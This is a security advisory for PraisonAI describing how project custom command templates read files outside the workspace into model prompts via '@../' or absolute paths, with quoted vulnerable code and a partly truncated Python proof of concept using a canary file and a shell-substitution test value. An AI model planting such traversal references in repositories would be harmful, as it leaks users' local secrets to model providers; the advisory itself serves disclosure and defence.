Summary
PraisonAI: Project custom command templates can read outside-workspace files into model prompts
Advisory details
Project custom command templates can read outside-workspace files into model prompts
Summary
PraisonAI's new file-based custom command feature auto-discovers project commands from .praisonai/commands/*.md. When a user runs praisonai run --command <name> inside a repository, the command body is interpolated before it is sent as the model prompt.
The interpolation code expands @path references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include @../outside_secret.txt or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.
This is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.
Technical Details
The feature was introduced by commit 88cf0c29 (feat: file-based custom agents and reusable commands with auto-discovery (#2035)) and is present on current main:
current commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
current describe: v4.6.64-8-g3aa9cbc2
src/praisonai/praisonai/cli/features/custom_definitions.py discovers project-level definitions by walking upward from Path.cwd() to the git root and loading .praisonai/commands/*.md. Project commands override user-global commands.
interpolate_command_template() loads the selected command and passes the command body to the interpolator with Path.cwd() as the working directory:
return interpolator.interpolate(command.template, arguments, Path.cwd())
TemplateInterpolator._interpolate_files() then matches every @([^\s]+) token and reads the referenced file:
if working_dir:
file_path = working_dir / file_path_str
else:
file_path = Path(file_path_str)
if file_path.exists() and file_path.is_file():
with open(file_path, 'r') as f:
return f.read()
There is no resolve() call and no containment check against the project root. In Python, Path.cwd() / "/absolute/path" returns the absolute path, and parent traversal such as ../outside_secret.txt resolves outside the workspace when opened.
The sink is in src/praisonai/praisonai/cli/commands/run.py: the --command path calls interpolate_command_template(), then passes the fully interpolated prompt to _run_prompt().
PoV
A minimal vulnerable repository only needs a project command template and an outside file:
workspace/
.git/
.praisonai/
commands/
relative_escape.md # contains @../outside_secret.txt
absolute_escape.md # contains an absolute path outside workspace
inside.txt
outside_secret.txt
When the operator runs the project command, PraisonAI discovers .praisonai/commands/*.md, interpolates the template with Path.cwd() as the working directory, reads the outside file, and passes the resulting prompt to _run_prompt().
The controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.
PoC
From a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden PYTHONPATH setup is required.
git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
python3 - "$PWD" <<'PY'
from __future__ import annotations
import importlib.util
import json
import os
import subprocess
import sys
import tempfile
import types
from pathlib import Path
CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"
def install_yaml_fallback_if_needed() -> str:
if importlib.util.find_spec("yaml") is not None:
return "installed"
yaml_stub = types.ModuleType("yaml")
class YAMLError(Exception):
pass
def safe_load(text: str):
data = {}
for raw_line in text.splitlines():
line = raw_line.strip()
if not line or line.startswith("#") or ":" not in line:
continue
key, value = line.split(":", 1)
data[key.strip()] = value.strip().strip("'\"")
return data
yaml_stub.safe_load = safe_load
yaml_stub.YAMLError = YAMLError
sys.modules["yaml"] = yaml_stub
return "stubbed"
def add_source_to_path(source_root: Path) -> None:
candidate = source_root / "src" / "praisonai"
if (candidate / "praisonai").exists():
sys.path.insert(0, str(candidate))
return
raise SystemExit(f"Could not find PraisonAI sources below {source_root}")
class pushd:
def __init__(self, path: Path):
self.path = path
self.old = Path.cwd()
def __enter__(self):
os.chdir(self.path)
def __exit__(self, *_exc):
os.chdir(self.old)
def write_command(commands_dir: Path, name: str, body: str) -> None:
commands_dir.mkdir(parents=True, exist_ok=True)
(commands_dir / f"{name}.md").write_text(
"---\n"
f"description: {name}\n"
"---\n"
f"{body}\n",
encoding="utf-8",
)
source_root = Path(sys.argv[1]).resolve()
yaml_dependency = install_yaml_fallback_if_needed()
add_source_to_path(source_root)
from praisonai.cli.features.custom_definitions import interpolate_command_template
with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp:
temp_root = Path(tmp).resolve()
workspace = temp_root / "workspace"
workspace.mkdir()
subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)
inside = workspace / "inside.txt"
outside = temp_root / "outside_secret.txt"
inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8")
outside.write_text(f"{CANARY}\n", encoding="utf-8")
commands_dir = workspace / ".praisonai" / "commands"
write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt")
write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}")
write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt")
write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt")
write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")
with pushd(workspace):
relative_result = interpolate_command_template("relative_escape", "operator argument")
absolute_result = interpolate_command_template("absolute_escape", "operator argument")
inside_result = interpolate_command_template("inside_control", "operator argument")
missing_result = interpolate_command_template("missing_control", "operator argument")
shell_result = interpolate_command_template("shell_control", "operator argument")
result = {
"vulnerable": all(
[
CANARY in (relative_result or ""),
CANARY in (absolute_result or ""),
"INSIDE_FILE=allowed" in (inside_result or ""),
"@missing.txt" in (missing_result or ""),
not (workspace / "SHOULD_NOT_EXIST").exists(),
]
),
"expectations": {
"relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""),
"absolute_path_discloses_outside_file": CANARY in (absolute_result or ""),
"inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""),
"missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""),
"shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(),
},
"samples": {
"relative_esca
References
- https://github.com/advisories/GHSA-xpx6-x8c2-mw5w
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w
- https://nvd.nist.gov/vuln/detail/CVE-2026-60088
- https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab
- https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-61431
PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace
- MEDIUMCVE-2026-61432
PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace
- HIGHGHSA-5rmq-chc7-m22f
Vibe-Trading file-read tools expose arbitrary server-readable files
- HIGHCVE-2026-77246
MCP Atlassian: MCP HTTP Client Server-Local File Exfiltration via Unvalidated Attachment Upload Path
- HIGHCVE-2026-75859
CodeWhale: Project config `instructions` override enables arbitrary file read into AI system prompt via cloned repository
- LOWGHSA-g7r4-m6w7-qqqr
esbuild's development server (versions 0.27.3 up to but not including 0.28.1) allows arbitrary file read on Windows: a crafted request path can escape the served directory and read files elsewhere on disk. It affects the development server only, not production builds, but anyone running `esbuild --serve` on Windows is exposed to any local or networked attacker who can reach the server.